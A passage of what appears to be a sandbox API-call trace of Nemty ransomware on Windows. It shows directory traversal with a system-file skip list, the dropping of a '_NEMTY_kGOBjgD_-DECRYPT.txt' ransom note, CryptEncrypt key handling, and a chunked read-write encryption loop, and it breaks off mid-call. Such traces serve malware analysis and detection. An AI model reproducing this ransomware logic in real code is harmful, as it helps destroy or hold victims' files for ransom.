HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0146.698] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0146.698] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0146.698] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0146.698] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0146.698] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0146.698] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0146.698] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0146.698] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0146.698] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0146.698] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0146.698] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0146.699] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0146.699] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0146.699] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0146.699] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0146.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0146.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0146.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0146.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0146.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0146.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401c8 [0146.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0146.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0146.700] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.700] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0146.701] CloseHandle (hObject=0x254) returned 1 [0146.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0146.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401c8 [0146.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.702] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0146.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0146.703] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.703] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0146.703] CloseHandle (hObject=0x254) returned 1 [0146.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0146.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0146.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb13e5d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb13e5d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0146.704] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0146.704] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb13e5d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb13e5d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.704] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0146.704] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0146.704] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2=".") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="..") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="...") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="windows") returned -1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="$RECYCLE.BIN") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="rsa") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="NTDETECT.COM") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="ntldr") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="MSDOS.SYS") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="IO.SYS") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="boot.ini") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="boot.ini") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="AUTOEXEC.BAT") returned 1 [0146.704] lstrcmpiW (lpString1="slideShow.js", lpString2="ntuser.dat") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="desktop.ini") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="CONFIG.SYS") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="RECYCLER") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="BOOTSECT.BAK") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="bootmgr") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="programdata") returned 1 [0146.705] lstrcmpiW (lpString1="slideShow.js", lpString2="appdata") returned 1 [0146.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.js", lpUsedDefaultChar=0x0) returned 12 [0146.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.js", lpUsedDefaultChar=0x0) returned 12 [0146.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.js", lpUsedDefaultChar=0x0) returned 12 [0146.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.js", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.js", lpUsedDefaultChar=0x0) returned 12 [0146.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0146.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0146.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0146.705] Sleep (dwMilliseconds=0x5) [0146.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xb18a890, dwHighDateTime=0x1d561e8)) [0146.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xb18a890, dwHighDateTime=0x1d561e8)) [0146.716] GetLastError () returned 0xb7 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.716] GetLastError () returned 0xb7 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.716] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0146.716] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0146.716] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0146.716] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e5dc | out: pszString="PvmcXJ2m6UE5Z7/N4o+wUYFZ7DF7H+A030F13XBdRyc8Eekwnq0sSaToS/TH98bx\r\nHvtUcTC+/bYNt/G3ON/2pqV6Px6wjZLEGLJPOuHHyl8Hw+rIeRYWtZqAv3uYmUoJ\r\nWNYHm1axlAnUbjQ0wQjthdeXjxp/PBA5Y3hNBZwOVOoelGr1FOkyRmhUL4MjBzbn\r\nR+eAVkg+vvy1OkH4euTtpPPk/LtSbT6z5fTcG89tpFfXviL6XKD+q5VQZADlBO3J\r\nm7QoIFkDvhf3Dy8hZb/AEkCgNGL8RMG/oE688q7THsvnr2R0rbAjBbTgnZ96pmIM\r\npGyQdWLdd/Y4i3LGKI0Ahw==\r\n", pcchString=0x653e5dc) returned 1 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0146.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.716] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.717] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0146.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 